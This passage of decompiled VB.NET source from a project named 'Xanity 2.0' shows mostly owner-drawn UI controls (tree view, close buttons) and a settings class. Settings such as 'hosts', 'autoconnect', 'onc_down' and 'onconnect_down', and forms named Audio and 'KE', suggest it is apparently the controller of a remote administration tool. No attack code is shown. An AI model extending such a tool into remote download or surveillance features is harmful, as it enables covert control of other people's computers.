Helpers.G.Dispose 79 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 80 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 81 | Helpers.B.Dispose 82 | End Sub 83 | 84 | 85 | ' Properties 86 | _ 87 | Public Property BaseColor As Color 88 | Get 89 | Return Me._BaseColor 90 | End Get 91 | Set(ByVal value As Color) 92 | Me._BaseColor = value 93 | End Set 94 | End Property 95 | 96 | Public Property ShowText As Boolean 97 | Get 98 | Return Me._ShowText 99 | End Get 100 | Set(ByVal value As Boolean) 101 | Me._ShowText = value 102 | End Set 103 | End Property 104 | 105 | 106 | ' Fields 107 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 108 | Private _BaseColor As Color 109 | Private _ShowText As Boolean 110 | Private H As Integer 111 | Private W As Integer 112 | End Class 113 | End Namespace 114 | 115 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/My/MySettings.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.ApplicationServices 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.CodeDom.Compiler 5 | Imports System.ComponentModel 6 | Imports System.Configuration 7 | Imports System.Diagnostics 8 | Imports System.Runtime.CompilerServices 9 | 10 | Namespace Xanity_2._0.My 11 | _ 12 | Friend NotInheritable Class MySettings 13 | Inherits ApplicationSettingsBase 14 | ' Methods 15 | _ 16 | Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs) 17 | If MyProject.Application.SaveMySettingsOnExit Then 18 | MySettingsProperty.Settings.Save 19 | End If 20 | End Sub 21 | 22 | 23 | ' Properties 24 | _ 25 | Public Property autoconnect As Boolean 26 | Get 27 | Return Conversions.ToBoolean(Me.Item("autoconnect")) 28 | End Get 29 | Set(ByVal value As Boolean) 30 | Me.Item("autoconnect") = value 31 | End Set 32 | End Property 33 | 34 | _ 35 | Public Property autoscan As Boolean 36 | Get 37 | Return Conversions.ToBoolean(Me.Item("autoscan")) 38 | End Get 39 | Set(ByVal value As Boolean) 40 | Me.Item("autoscan") = value 41 | End Set 42 | End Property 43 | 44 | Public Shared ReadOnly Property [Default] As MySettings 45 | Get 46 | If Not MySettings.addedHandler Then 47 | Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject 48 | ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject) 49 | SyncLock addedHandlerLockObject 50 | If Not MySettings.addedHandler Then 51 | AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings) 52 | MySettings.addedHandler = True 53 | End If 54 | End SyncLock 55 | End If 56 | Return MySettings.defaultInstance 57 | End Get 58 | End Property 59 | 60 | _ 61 | Public Property hosts As String 62 | Get 63 | Return Conversions.ToString(Me.Item("hosts")) 64 | End Get 65 | Set(ByVal value As String) 66 | Me.Item("hosts") = value 67 | End Set 68 | End Property 69 | 70 | _ 71 | Public Property notification As Boolean 72 | Get 73 | Return Conversions.ToBoolean(Me.Item("notification")) 74 | End Get 75 | Set(ByVal value As Boolean) 76 | Me.Item("notification") = value 77 | End Set 78 | End Property 79 | 80 | _ 81 | Public Property onc_down As String 82 | Get 83 | Return Conversions.ToString(Me.Item("onc_down")) 84 | End Get 85 | Set(ByVal value As String) 86 | Me.Item("onc_down") = value 87 | End Set 88 | End Property 89 | 90 | _ 91 | Public Property onc_website As String 92 | Get 93 | Return Conversions.ToString(Me.Item("onc_website")) 94 | End Get 95 | Set(ByVal value As String) 96 | Me.Item("onc_website") = value 97 | End Set 98 | End Property 99 | 100 | _ 101 | Public Property onconnect_down As Boolean 102 | Get 103 | Return Conversions.ToBoolean(Me.Item("onconnect_down")) 104 | End Get 105 | Set(ByVal value As Boolean) 106 | Me.Item("onconnect_down") = value 107 | End Set 108 | End Property 109 | 110 | _ 111 | Public Property onconnect_web As Boolean 112 | Get 113 | Return Conversions.ToBoolean(Me.Item("onconnect_web")) 114 | End Get 115 | Set(ByVal value As Boolean) 116 | Me.Item("onconnect_web") = value 117 | End Set 118 | End Property 119 | 120 | _ 121 | Public Property sound As Boolean 122 | Get 123 | Return Conversions.ToBoolean(Me.Item("sound")) 124 | End Get 125 | Set(ByVal value As Boolean) 126 | Me.Item("sound") = value 127 | End Set 128 | End Property 129 | 130 | 131 | ' Fields 132 | Private Shared addedHandler As Boolean 133 | Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object) 134 | Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings) 135 | End Class 136 | End Namespace 137 | 138 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatTreeView.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.Collections.Generic 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatTreeView 14 | Inherits TreeView 15 | ' Methods 16 | Public Sub New() 17 | FlatTreeView.__ENCAddToList(Me) 18 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 19 | Me._LineColor = Color.FromArgb(&H19, &H1B, &H1D) 20 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 21 | Me.DoubleBuffered = True 22 | Me.BackColor = Me._BaseColor 23 | Me.ForeColor = Color.White 24 | Me.LineColor = Me._LineColor 25 | Me.DrawMode = TreeViewDrawMode.OwnerDrawAll 26 | End Sub 27 | 28 | _ 29 | Private Shared Sub __ENCAddToList(ByVal value As Object) 30 | Dim list As List(Of WeakReference) = FlatTreeView.__ENCList 31 | SyncLock list 32 | If (FlatTreeView.__ENCList.Count = FlatTreeView.__ENCList.Capacity) Then 33 | Dim index As Integer = 0 34 | Dim num3 As Integer = (FlatTreeView.__ENCList.Count - 1) 35 | Dim i As Integer = 0 36 | Do While (i <= num3) 37 | Dim reference As WeakReference = FlatTreeView.__ENCList.Item(i) 38 | If reference.IsAlive Then 39 | If (i <> index) Then 40 | FlatTreeView.__ENCList.Item(index) = FlatTreeView.__ENCList.Item(i) 41 | End If 42 | index += 1 43 | End If 44 | i += 1 45 | Loop 46 | FlatTreeView.__ENCList.RemoveRange(index, (FlatTreeView.__ENCList.Count - index)) 47 | FlatTreeView.__ENCList.Capacity = FlatTreeView.__ENCList.Count 48 | End If 49 | FlatTreeView.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 50 | End SyncLock 51 | End Sub 52 | 53 | Protected Overrides Sub OnDrawNode(ByVal e As DrawTreeNodeEventArgs) 54 | Try 55 | Dim bounds As Rectangle = e.Bounds 56 | Dim rect As New Rectangle(e.Bounds.Location.X, e.Bounds.Location.Y, e.Bounds.Width, bounds.Height) 57 | Select Case Me.State 58 | Case TreeNodeStates.Default 59 | e.Graphics.FillRectangle(Brushes.Red, rect) 60 | bounds = New Rectangle((rect.X + 2), (rect.Y + 2), rect.Width, rect.Height) 61 | e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8!), Brushes.LimeGreen, bounds, Helpers.NearSF) 62 | Me.Invalidate 63 | goto Label_01F3 64 | Case TreeNodeStates.Checked 65 | e.Graphics.FillRectangle(Brushes.Green, rect) 66 | bounds = New Rectangle((rect.X + 2), (rect.Y + 2), rect.Width, rect.Height) 67 | e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8!), Brushes.Black, bounds, Helpers.NearSF) 68 | Me.Invalidate 69 | Exit Select 70 | Case TreeNodeStates.Selected 71 | e.Graphics.FillRectangle(Brushes.Green, rect) 72 | bounds = New Rectangle((rect.X + 2), (rect.Y + 2), rect.Width, rect.Height) 73 | e.Graphics.DrawString(e.Node.Text, New Font("Segoe UI", 8!), Brushes.Black, bounds, Helpers.NearSF) 74 | Me.Invalidate 75 | Exit Select 76 | End Select 77 | Catch exception1 As Exception 78 | ProjectData.SetProjectError(exception1) 79 | Dim exception As Exception = exception1 80 | Interaction.MsgBox(exception.Message, MsgBoxStyle.ApplicationModal, Nothing) 81 | ProjectData.ClearProjectError 82 | End Try 83 | Label_01F3: 84 | MyBase.OnDrawNode(e) 85 | End Sub 86 | 87 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 88 | Helpers.B = New Bitmap(Me.Width, Me.Height) 89 | Helpers.G = Graphics.FromImage(Helpers.B) 90 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 91 | Dim g As Graphics = Helpers.G 92 | g.SmoothingMode = SmoothingMode.HighQuality 93 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 94 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 95 | g.Clear(Me.BackColor) 96 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 97 | Dim layoutRectangle As New Rectangle((Me.Bounds.X + 2), (Me.Bounds.Y + 2), Me.Bounds.Width, Me.Bounds.Height) 98 | g.DrawString(Me.Text, New Font("Segoe UI", 8!), Brushes.Black, layoutRectangle, Helpers.NearSF) 99 | g = Nothing 100 | MyBase.OnPaint(e) 101 | Helpers.G.Dispose 102 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 103 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 104 | Helpers.B.Dispose 105 | End Sub 106 | 107 | 108 | ' Fields 109 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 110 | Private _BaseColor As Color 111 | Private _LineColor As Color 112 | Private State As TreeNodeStates 113 | End Class 114 | End Namespace 115 | 116 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity 2.0.vbproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | local 5 | 7.10.377 6 | 2.0 7 | 8cd90cda-5fa3-4819-b23a-bba919620271 8 | Debug 9 | Xanity 2.0 10 | WinExe 11 | v2.0 12 | 13 | 14 | x86 15 | true 16 | full 17 | false 18 | bin\Debug\ 19 | true 20 | true 21 | prompt 22 | 4 23 | 24 | 25 | x86 26 | pdbonly 27 | true 28 | bin\Release\ 29 | true 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseSI.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatCloseSI 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatCloseSI.__ENCAddToList(Me) 17 | Me.State = MouseState.None 18 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 19 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 20 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 21 | Me.DoubleBuffered = True 22 | Me.BackColor = Color.White 23 | Dim size2 As New Size(&H12, &H12) 24 | Me.Size = size2 25 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 26 | Me.Font = New Font("Marlett", 10!) 27 | End Sub 28 | 29 | _ 30 | Private Shared Sub __ENCAddToList(ByVal value As Object) 31 | Dim list As List(Of WeakReference) = FlatCloseSI.__ENCList 32 | SyncLock list 33 | If (FlatCloseSI.__ENCList.Count = FlatCloseSI.__ENCList.Capacity) Then 34 | Dim index As Integer = 0 35 | Dim num3 As Integer = (FlatCloseSI.__ENCList.Count - 1) 36 | Dim i As Integer = 0 37 | Do While (i <= num3) 38 | Dim reference As WeakReference = FlatCloseSI.__ENCList.Item(i) 39 | If reference.IsAlive Then 40 | If (i <> index) Then 41 | FlatCloseSI.__ENCList.Item(index) = FlatCloseSI.__ENCList.Item(i) 42 | End If 43 | index += 1 44 | End If 45 | i += 1 46 | Loop 47 | FlatCloseSI.__ENCList.RemoveRange(index, (FlatCloseSI.__ENCList.Count - index)) 48 | FlatCloseSI.__ENCList.Capacity = FlatCloseSI.__ENCList.Count 49 | End If 50 | FlatCloseSI.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 51 | End SyncLock 52 | End Sub 53 | 54 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 55 | MyBase.OnClick(e) 56 | End Sub 57 | 58 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 59 | MyBase.OnMouseDown(e) 60 | Me.State = MouseState.Down 61 | Me.Invalidate 62 | End Sub 63 | 64 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 65 | MyBase.OnMouseEnter(e) 66 | Me.State = MouseState.Over 67 | Me.Invalidate 68 | End Sub 69 | 70 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 71 | MyBase.OnMouseLeave(e) 72 | Me.State = MouseState.None 73 | Me.Invalidate 74 | End Sub 75 | 76 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 77 | MyBase.OnMouseMove(e) 78 | Me.x = e.X 79 | Me.Invalidate 80 | End Sub 81 | 82 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 83 | MyBase.OnMouseUp(e) 84 | Me.State = MouseState.Over 85 | Me.Invalidate 86 | End Sub 87 | 88 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 89 | Dim image As New Bitmap(Me.Width, Me.Height) 90 | Dim graphics As Graphics = Graphics.FromImage(image) 91 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 92 | Dim graphics2 As Graphics = graphics 93 | graphics2.SmoothingMode = SmoothingMode.HighQuality 94 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 95 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 96 | graphics2.Clear(Me.BackColor) 97 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 98 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 99 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 100 | Select Case CByte((CInt(Me.State) - 1)) 101 | Case 0 102 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 103 | Exit Select 104 | Case 1 105 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 106 | Exit Select 107 | End Select 108 | graphics2 = Nothing 109 | MyBase.OnPaint(e) 110 | graphics.Dispose 111 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 112 | e.Graphics.DrawImageUnscaled(image, 0, 0) 113 | image.Dispose 114 | End Sub 115 | 116 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 117 | MyBase.OnResize(e) 118 | Dim size2 As New Size(&H12, &H12) 119 | Me.Size = size2 120 | End Sub 121 | 122 | 123 | ' Properties 124 | _ 125 | Public Property BaseColor As Color 126 | Get 127 | Return Me._BaseColor 128 | End Get 129 | Set(ByVal value As Color) 130 | Me._BaseColor = value 131 | End Set 132 | End Property 133 | 134 | _ 135 | Public Property TextColor As Color 136 | Get 137 | Return Me._TextColor 138 | End Get 139 | Set(ByVal value As Color) 140 | Me._TextColor = value 141 | End Set 142 | End Property 143 | 144 | 145 | ' Fields 146 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 147 | Private _BaseColor As Color 148 | Private _TextColor As Color 149 | Private State As MouseState 150 | Private x As Integer 151 | End Class 152 | End Namespace 153 | 154 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatClose.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatClose 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatClose.__ENCAddToList(Me) 17 | Me.State = MouseState.None 18 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 19 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 20 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 21 | Me.DoubleBuffered = True 22 | Me.BackColor = Color.White 23 | Dim size2 As New Size(&H12, &H12) 24 | Me.Size = size2 25 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 26 | Me.Font = New Font("Marlett", 10!) 27 | End Sub 28 | 29 | _ 30 | Private Shared Sub __ENCAddToList(ByVal value As Object) 31 | Dim list As List(Of WeakReference) = FlatClose.__ENCList 32 | SyncLock list 33 | If (FlatClose.__ENCList.Count = FlatClose.__ENCList.Capacity) Then 34 | Dim index As Integer = 0 35 | Dim num3 As Integer = (FlatClose.__ENCList.Count - 1) 36 | Dim i As Integer = 0 37 | Do While (i <= num3) 38 | Dim reference As WeakReference = FlatClose.__ENCList.Item(i) 39 | If reference.IsAlive Then 40 | If (i <> index) Then 41 | FlatClose.__ENCList.Item(index) = FlatClose.__ENCList.Item(i) 42 | End If 43 | index += 1 44 | End If 45 | i += 1 46 | Loop 47 | FlatClose.__ENCList.RemoveRange(index, (FlatClose.__ENCList.Count - index)) 48 | FlatClose.__ENCList.Capacity = FlatClose.__ENCList.Count 49 | End If 50 | FlatClose.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 51 | End SyncLock 52 | End Sub 53 | 54 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 55 | MyBase.OnClick(e) 56 | Environment.Exit(0) 57 | End Sub 58 | 59 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 60 | MyBase.OnMouseDown(e) 61 | Me.State = MouseState.Down 62 | Me.Invalidate 63 | End Sub 64 | 65 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 66 | MyBase.OnMouseEnter(e) 67 | Me.State = MouseState.Over 68 | Me.Invalidate 69 | End Sub 70 | 71 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 72 | MyBase.OnMouseLeave(e) 73 | Me.State = MouseState.None 74 | Me.Invalidate 75 | End Sub 76 | 77 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 78 | MyBase.OnMouseMove(e) 79 | Me.x = e.X 80 | Me.Invalidate 81 | End Sub 82 | 83 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 84 | MyBase.OnMouseUp(e) 85 | Me.State = MouseState.Over 86 | Me.Invalidate 87 | End Sub 88 | 89 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 90 | Dim image As New Bitmap(Me.Width, Me.Height) 91 | Dim graphics As Graphics = Graphics.FromImage(image) 92 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 93 | Dim graphics2 As Graphics = graphics 94 | graphics2.SmoothingMode = SmoothingMode.HighQuality 95 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 96 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 97 | graphics2.Clear(Me.BackColor) 98 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 99 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 100 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 101 | Select Case CByte((CInt(Me.State) - 1)) 102 | Case 0 103 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 104 | Exit Select 105 | Case 1 106 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 107 | Exit Select 108 | End Select 109 | graphics2 = Nothing 110 | MyBase.OnPaint(e) 111 | graphics.Dispose 112 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 113 | e.Graphics.DrawImageUnscaled(image, 0, 0) 114 | image.Dispose 115 | End Sub 116 | 117 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 118 | MyBase.OnResize(e) 119 | Dim size2 As New Size(&H12, &H12) 120 | Me.Size = size2 121 | End Sub 122 | 123 | 124 | ' Properties 125 | _ 126 | Public Property BaseColor As Color 127 | Get 128 | Return Me._BaseColor 129 | End Get 130 | Set(ByVal value As Color) 131 | Me._BaseColor = value 132 | End Set 133 | End Property 134 | 135 | _ 136 | Public Property TextColor As Color 137 | Get 138 | Return Me._TextColor 139 | End Get 140 | Set(ByVal value As Color) 141 | Me._TextColor = value 142 | End Set 143 | End Property 144 | 145 | 146 | ' Fields 147 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 148 | Private _BaseColor As Color 149 | Private _TextColor As Color 150 | Private State As MouseState 151 | Private x As Integer 152 | End Class 153 | End Namespace 154 | 155 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseAU.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseAU 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseAU.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseAU.__ENCList 33 | SyncLock list 34 | If (FlatCloseAU.__ENCList.Count = FlatCloseAU.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseAU.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseAU.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseAU.__ENCList.Item(index) = FlatCloseAU.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseAU.__ENCList.RemoveRange(index, (FlatCloseAU.__ENCList.Count - index)) 49 | FlatCloseAU.__ENCList.Capacity = FlatCloseAU.__ENCList.Count 50 | End If 51 | FlatCloseAU.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.Audio.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseKE.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseKE 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseKE.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseKE.__ENCList 33 | SyncLock list 34 | If (FlatCloseKE.__ENCList.Count = FlatCloseKE.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseKE.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseKE.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseKE.__ENCList.Item(index) = FlatCloseKE.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseKE.__ENCList.RemoveRange(index, (FlatCloseKE.__ENCList.Count - index)) 49 | FlatCloseKE.__ENCList.Capacity = FlatCloseKE.__ENCList.Count 50 | End If 51 | FlatCloseKE.__ENCList.Add(New 